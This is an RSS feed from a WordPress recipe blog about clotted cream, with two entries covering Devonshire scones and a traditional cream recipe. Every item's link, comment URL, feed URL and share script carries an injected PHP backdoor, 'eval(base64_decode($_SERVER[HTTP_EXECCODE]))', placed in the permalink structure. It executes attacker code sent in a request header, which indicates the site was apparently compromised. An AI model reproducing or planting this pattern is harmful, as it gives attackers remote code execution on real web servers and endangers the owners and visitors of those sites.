<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Clotted Cream</title>
	<atom:link href="http://www.clottedcream.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.clottedcream.com</link>
	<description>Just another WordPress weblog</description>
	<pubDate>Tue, 01 Jul 2008 23:07:32 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Devonshire Scones</title>
		<link>http://www.clottedcream.com/2012/02/22/devonshire-scones/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.clottedcream.com/2012/02/22/devonshire-scones/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 01 Jul 2008 23:07:17 +0000</pubDate>
		<dc:creator>guest</dc:creator>
		
		<category><![CDATA[Recipes for Clotted Cream]]></category>

		<guid isPermaLink="false">http://www.clottedcream.com/?p=12</guid>
		<description><![CDATA[Mix 1/2 teaspoon salt into 2 cups (240g) self-rising flour
and rub into 3/4 stick (90g) butter to a crumb-like
consistancy.  Whisk 1 egg, 1/2 tablespoon castor sugar
(superfine/ powdered) and 2 tablespoons milk together
and stir into the flour mixture to make a soft dough.
Roll out about 3/4&#8243; (2cm) thick and cut in rounds with a
2&#8243; (5cm) [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Devonshire Scones", url: "http://www.clottedcream.com/2012/02/22/devonshire-scones/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/" });</script>]]></description>
		<wfw:commentRss>http://www.clottedcream.com/2012/02/22/devonshire-scones/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Traditional Recipe</title>
		<link>http://www.clottedcream.com/2012/02/22/traditional-recipe/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.clottedcream.com/2012/02/22/traditional-recipe/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 01 Jul 2008 23:06:32 +0000</pubDate>
		<dc:creator>guest</dc:creator>
		
		<category><![CDATA[Recipes for Clotted Cream]]></category>

		<guid isPermaLink="false">http://www.clottedcream.com/?p=11</guid>
		<description><![CDATA[Take 2 1/2 quarts (2.4L) and 1 1/2 cups ( 3dl) double cream (whipping cream). Pour the milk and cream into a wide, shallow pan like a large skillet or preserving pan (or if you happen to have one like I do, a ninteenth century milk pan from Eastern Europe).  The pan should be [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Traditional Recipe", url: "http://www.clottedcream.com/2012/02/22/traditional-recipe/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/" });</script>]]></description>
		<wfw:commentRss>http://www.clottedcream.com/2012/02/22/traditional-recipe/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

